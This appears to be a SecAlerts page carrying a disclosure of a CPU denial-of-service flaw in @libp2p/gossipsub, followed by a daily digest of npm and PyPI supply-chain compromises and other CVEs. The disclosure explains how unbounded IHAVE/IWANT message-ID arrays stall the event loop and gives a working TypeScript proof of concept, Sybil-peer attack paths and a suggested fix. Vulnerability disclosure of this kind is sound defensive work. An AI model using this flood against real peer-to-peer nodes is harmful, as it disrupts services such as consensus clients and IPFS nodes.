Where
-Infinity
0
Severity
7.5
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary gossipsub processes IHAVE and IWANT control messages by iterating every received message ID synchronously before doing anything with the results. There is no cap on how many IDs a single frame may contain. The default LP frame limit is 4MB, which fits roughly 180,000 message IDs. Iterating that many IDs blocks the Node.js event loop for around 200ms per call.

The two variants have different severity. For IHAVE there is a per-peer per-heartbeat counter that limits each peer to one full iteration per heartbeat, so causing a total stall requires around 10 Sybil peers. For IWANT there is no equivalent counter at all, so a single peer continuously streaming 4MB frames can hold the event loop above 80% utilisation indefinitely.

Details No decode-time cap on message ID count (message/decodeRpc.ts:11-19) typescript export const defaultDecodeRpcLimits: DecodeRPCLimits = { maxSubscriptions: Infinity, maxMessages: Infinity, maxIhaveMessageIDs: Infinity, maxIwantMessageIDs: Infinity, maxIdontwantMessageIDs: Infinity, maxControlMessages: Infinity, maxPeerInfos: Infinity }

These are the defaults unless the operator explicitly overrides opts.decodeRpcLimits. A TODO at gossipsub.ts:857 already notes the gap: // TODO: Check max gossip message size, before decodeRpc().

IHAVE iterates all IDs before truncating (gossipsub.ts:1311-1327)

typescript messageIDs.forEach((msgId) => { const msgIdStr = this.msgIdToStrFn(msgId) if (!this.seenCache.has(msgIdStr)) { iwant.set(msgIdStr, msgId) } }) // truncation to GossipsubMaxIHaveLength (5000) only happens after the loop finishes

The per-peer flood counters (iasked, peerhave) do cap things eventually: each peer is limited to 10 IHAVE RPCs and 5000 IDs counted per heartbeat. After the first oversized IHAVE from a peer, subsequent ones are rejected cheaply. The problem is that the cap is per peer, so 10 Sybil peers each sending one 180K-ID IHAVE per heartbeat gives 10 x 150ms = 1500ms of synchronous work against a 1000ms heartbeat interval.

IWANT has no rate limit at all (gossipsub.ts:1377-1394) typescript messageIDs?.forEach((msgId) => { const msgIdStr = this.msgIdToStrFn(msgId) const entry = this.mcache.getWithIWantCount(msgIdStr, id) // ... })

Unlike IHAVE, handleIWant has no peerhave or iasked equivalent. A single peer can send IWANT RPCs continuously with no per-heartbeat limit. Sending IWANT for non-existent messages does not affect the attacker's score (onIwantRcv is metrics-only), so there is no automatic disconnect. At 1 Gbps a 4MB frame arrives every ~32ms and takes ~135ms to process, giving roughly 81% event-loop utilisation from a single connection.

Attack Paths IHAVE (requires ~10 Sybil peers) The attacker connects 10 peers, each subscribing to a topic the victim is on. New peers start at score 0, which is above the default gossipThreshold of -10, so IHAVE processing is active immediately. Each peer sends one 4MB RPC per heartbeat containing a single ControlIHave entry with ~180,000 random message IDs. The victim processes all 180,000 IDs per peer before the counter kicks in for that peer. Total event-loop block: around 1500ms per 1000ms heartbeat.

IWANT (single peer, no Sybil) The attacker connects once and streams 4MB IWANT RPCs continuously, each containing ~180,000 random message IDs that do not exist in the victim's cache. No rate limit applies. At datacenter bandwidth the event loop stays above 80% utilisation indefinitely.

PoC Setup and execution of PoC bash git clone https://github.com/libp2p/js-libp2p.git cd js-libp2p npm install cd packages/gossipsub npx aegir build node --experimental-vm-modules ../../nodemodules/.bin/mocha 'dist/test/poc.spec.js' --timeout 30000 PoC Content: typescript import { stop } from '@libp2p/interface' import assert from 'node:assert' import { performance } from 'node:perfhooks' import { encode as lpEncode } from 'it-length-prefixed' import { pEvent } from 'p-event' import { RPC } from '../src/message/rpc.js' import { GossipsubMaxIHaveMessages, GossipsubMaxIHaveLength, GossipsubHeartbeatInterval } from '../src/constants.js' import { createComponents, connectPubsubNodes } from './utils/create-pubsub.js' import type { GossipSubAndComponents } from './utils/create-pubsub.js'

const TOPIC = 'poc-ihave-flood' const MSGIDBYTES = 20 // 4 MB LP limit / ~22 bytes per message ID (1-byte tag + 1-byte len + 20 bytes) const MSGIDSPERIHAVE = 180000

function randomMsgIds (count: number): Uint8Array[] { return Array.from({ length: count }, () => { const id = new Uint8Array(MSGIDBYTES) crypto.getRandomValues(id) return id }) }

describe('CPU DoS via oversized IHAVE and IWANT control message arrays', function () { this.timeout(30000)

let victim: GossipSubAndComponents let attacker: GossipSubAndComponents

beforeEach(async () => { ;[victim, attacker] = await Promise.all([ createComponents({ init: { allowPublishToZeroTopicPeers: true } }), createComponents({ init: { allowPublishToZeroTopicPeers: true } }) ])

// Both subscribe to the topic so the victim builds a mesh entry victim.pubsub.subscribe(TOPIC) attacker.pubsub.subscribe(TOPIC)

await connectPubsubNodes(victim, attacker)

// Wait for one heartbeat so the victim's mesh includes the attacker await pEvent(victim.pubsub, 'gossipsub:heartbeat') })

afterEach(async () => { await stop( victim.pubsub, attacker.pubsub, ...Object.values(victim.components), ...Object.values(attacker.components) ) })

it('BYPASS: single IHAVE with 180K message IDs blocks event loop for ~135ms', async () => { const attackerIdStr = attacker.components.peerId.toString()

// Verify attacker is in victim's mesh (required for handleIHave to iterate IDs) const meshPeers = (victim.pubsub as any).mesh.get(TOPIC) as Set<string> | undefined if (meshPeers == null || !meshPeers.has(attackerIdStr)) { // Force mesh membership for the PoC if heartbeat hasn't built it yet if (meshPeers == null) { (victim.pubsub as any).mesh.set(TOPIC, new Set([attackerIdStr])) } else { meshPeers.add(attackerIdStr) } }

const messageIDs = randomMsgIds(MSGIDSPERIHAVE)

// Invoke handleIHave directly const t0 = performance.now() const iwant = (victim.pubsub as any).handleIHave( attackerIdStr, [{ topicID: TOPIC, messageIDs }] ) as Array<{ messageIDs: Uint8Array[] }> const elapsed = performance.now() - t0

console.log(\n[PoC] 1 IHAVE × ${MSGIDSPERIHAVE.toLocaleString()} IDs: ${elapsed.toFixed(0)} ms event-loop block) console.log([PoC] Response capped at: ${iwant[0]?.messageIDs?.length ?? 0} IWANTs (limit: ${GossipsubMaxIHaveLength})) console.log([PoC] Heartbeat interval: ${GossipsubHeartbeatInterval} ms)

// The blocking time should be significant (>>10ms) for a meaningful DoS assert.ok(elapsed > 50, expected >50ms event-loop block for ${MSGIDSPERIHAVE} IDs, got ${elapsed.toFixed(0)}ms)

// Victim caps the response regardless of how many IDs were iterated assert.ok( iwant[0]?.messageIDs?.length <= GossipsubMaxIHaveLength, response should be capped at ${GossipsubMaxIHaveLength} ) })

it('MULTI-PEER: N peers × 1 IHAVE each, iasked resets per peer, total block scales linearly', async () => { const NPEERS = 10 const messageIDs = randomMsgIds(MSGIDSPERIHAVE)

// Ensure mesh includes a placeholder topic so !this.mesh.has(topicID) passes const fakeMeshPeers: Set<string> = new Set() ;(victim.pubsub as any).mesh.set(TOPIC, fakeMeshPeers)

let totalElapsed = 0

for (let i = 0; i < NPEERS; i++) { // Each "Sybil" peer uses a unique peer ID string const fakePeerId = 12D3KooW${i.toString().padStart(36, '0')} fakeMeshPeers.add(fakePeerId)

// Fresh counters: simulates a peer the victim hasn't seen this heartbeat ;(victim.pubsub as any).peerhave.delete(fakePeerId) ;(victim.pubsub as any).iasked.delete(fakePeerId) // Score defaults to 0 (> gossipThreshold of -10): no score entry needed

const t0 = performance.now() ;(victim.pubsub as any).handleIHave(fakePeerId, [{ topicID: TOPIC, messageIDs }]) const elapsed = performance.now() - t0

totalElapsed += elapsed process.stdout.write( peer ${i + 1}/${NPEERS}: ${elapsed.toFixed(0)} ms\n) }

const ratio = totalElapsed / GossipsubHeartbeatInterval console.log(\n[PoC] ${NPEERS} peers × ${MSGIDSPERIHAVE.toLocaleString()} IDs: ${totalElapsed.toFixed(0)} ms total) console.log([PoC] Heartbeat interval: ${GossipsubHeartbeatInterval} ms) console.log([PoC] Ratio (block / heartbeat): ${ratio.toFixed(2)}x) console.log([PoC] Attacker cost: ${NPEERS} × 4 MB = ${NPEERS 4} MB/s outbound) console.log([PoC] Each peer's iasked resets at heartbeat — sustainable indefinitely)

// 10 peers should easily exceed the 1s heartbeat interval assert.ok( totalElapsed > GossipsubHeartbeatInterval 0.9, expected ${NPEERS} peers to block ≥ ${GossipsubHeartbeatInterval 0.9} ms, got ${totalElapsed.toFixed(0)} ms ) })

it('ENCODE: crafted 180K-ID IHAVE RPC fits within 4 MB LP frame limit', () => { const messageIDs = randomMsgIds(MSGIDSPERIHAVE)

const rpc = RPC.encode({ subscriptions: [], messages: [], control: { ihave: [{ topicID: TOPIC, messageIDs }], iwant: [], graft: [], prune: [], idontwant: [] } })

const MAXLPBYTES = 4 1024 1024 // DEFAULTMAXDATALENGTH from it-length-prefixed

console.log(\n[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 1024)).toFixed(2)} MB) console.log([PoC] LP frame limit: ${MAXLPBYTES / (1024 1024)} MB) console.log([PoC] Fits in one frame: ${rpc.byteLength <= MAXLPBYTES ? 'YES ✓' : 'NO ✗'}) console.log([PoC] defaultDecodeRpcLimits.maxIhaveMessageIDs = Infinity (no decode-level cap))

assert.ok(rpc.byteLength <= MAXLPBYTES, crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default — confirms no LP-level protection) }) })

The IWANT variant has the same per-frame timing but does not need Sybil peers. A separate IWANT PoC can be provided on request.

Impact Any node running @libp2p/gossipsub with default options that accepts inbound connections is affected. This includes Ethereum consensus clients using js-libp2p (Lodestar), IPFS nodes with pubsub enabled, and anything calling createLibp2p({ services: { pubsub: gossipsub() } }).

With 10 Sybil peers the IHAVE variant blocks the event loop for 1.5x the heartbeat interval continuously. The node cannot forward messages, run its heartbeat, or respond to legitimate peers. The IWANT variant achieves the same result from a single connection at datacenter bandwidth.

Nodes that explicitly configure opts.decodeRpcLimits with finite values are not affected.

Suggested fix

Set finite defaults in decodeRpc.ts: typescript export const defaultDecodeRpcLimits: DecodeRPCLimits = { maxSubscriptions: 128, maxMessages: 256, maxIhaveMessageIDs: 5000, maxIwantMessageIDs: 5000, maxIdontwantMessageIDs: 5000, maxControlMessages: 128, maxPeerInfos: 16 }

Setting maxIhaveMessageIDs and maxIwantMessageIDs to 5000 (matching GossipsubMaxIHaveLength) bounds the iteration cost to the response limit rather than attacker input.

1 / 2
Source: GitHub
First published (updated )

Threat Summary

|Package(s)|Ecosystem|Severity|CVE|Vulnerability| |:-|:-|:-|:-|:-| |u/cap-js/sqlite, postgres, db-service|npm|CRITICAL|CVE-2026-46421|Credential harvesting / Self-propagation| |u/beproduct/nestjs-auth|npm|CRITICAL|CVE-2026-46412|Mini Shai-Hulud worm payload| |guardrails-ai|PyPI|CRITICAL|CVE-2026-45758|Supply chain compromise| |PenPot MCP REPL|npm|HIGH|CVE-2026-45805|Unauthenticated RCE| |Diffusers|ai-ml|HIGH|CVE-2026-45804|TOCTOU Remote Code Execution| |lmdeploy|ai-ml|HIGH|CVE-2026-46517|Unsafe remote-code load path| |u/libp2p/gossipsub|npm|HIGH|CVE-2026-46679|Memory DoS (Subscription flood)| |u/libp2p/kad-dht|npm|HIGH|CVE-2026-45783|Disk exhaustion (Unvalidated PUT)| |Crawlee for Python|PyPI|HIGH|CVE-2026-46497|SSRF via sitemap-derived URLs| |SillyTavern|ai-ml|HIGH|CVE-2026-46372|SSRF in SearXNG Search Proxy| |samlify|npm|HIGH|CVE-2026-46490|XML Injection / Privilege Escalation| |js-cookie|npm|HIGH|CVE-2026-46625|Prototype hijack / Cookie injection| |SQLFluff|PyPI|HIGH|CVE-2026-46374|DoS via Resource Exhaustion| |pymdownx.snippets|PyPI|HIGH|CVE-2026-46338|Path traversal bypass|

CRITICAL Alerts (Immediate Action Required)

1. u/cap-js ecosystem compromise (CVE-2026-46421)

Threat: Compromised versions of u/cap-js/sqlite, u/cap-js/postgres, and u/cap-js/db-service were published to harvest credentials and self-propagate. Action: Upgrade immediately (sqlite \>= 2.4.0, postgres \>= 2.3.0, db-service \>= 2.11.0). Assume all local credentials are compromised if you installed the malicious versions.

2. u/beproduct/nestjs-auth worm (CVE-2026-46412)

Threat: Malicious versions containing payloads from the Mini Shai-Hulud npm supply-chain worm campaign were published. Action: Remove and reinstall dependencies. Audit for signs of compromise if installed during the affected window (v0.1.2 - 0.1.19).

3. guardrails-ai compromise (CVE-2026-45758)

Threat: A malicious version of guardrails-ai (0.10.1) was published to PyPI. It has been quarantined. Action: Uninstall guardrails-ai==0.10.1 and reinstall a known good version.

HIGH Severity Highlights

Remote Code Execution (RCE): Both Diffusers (CVE-2026-45804) and lmdeploy (CVE-2026-46517) in the AI/ML ecosystem have vulnerabilities allowing for unsafe remote code execution via trustremotecode bypasses. PenPot MCP (CVE-2026-45805) exposes an unauthenticated /execute endpoint. Denial of Service (DoS): Heavy hitters include u/libp2p/gossipsub (Heap exhaustion), u/libp2p/kad-dht (Disk exhaustion), and SQLFluff (Parser resource consumption). Update to patched versions to prevent node crashing. SSRF & Injection: Crawlee for Python and SillyTavern both suffer from SSRF vulnerabilities requiring configuration updates. samlify is vulnerable to XML injection leading to privilege escalation in signed SAML assertions.

Automated daily digest, created via https://github.com/Deam0on/wakellm - feedback welcome. Stay safe out there!

First published (updated )
Social
reddit

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203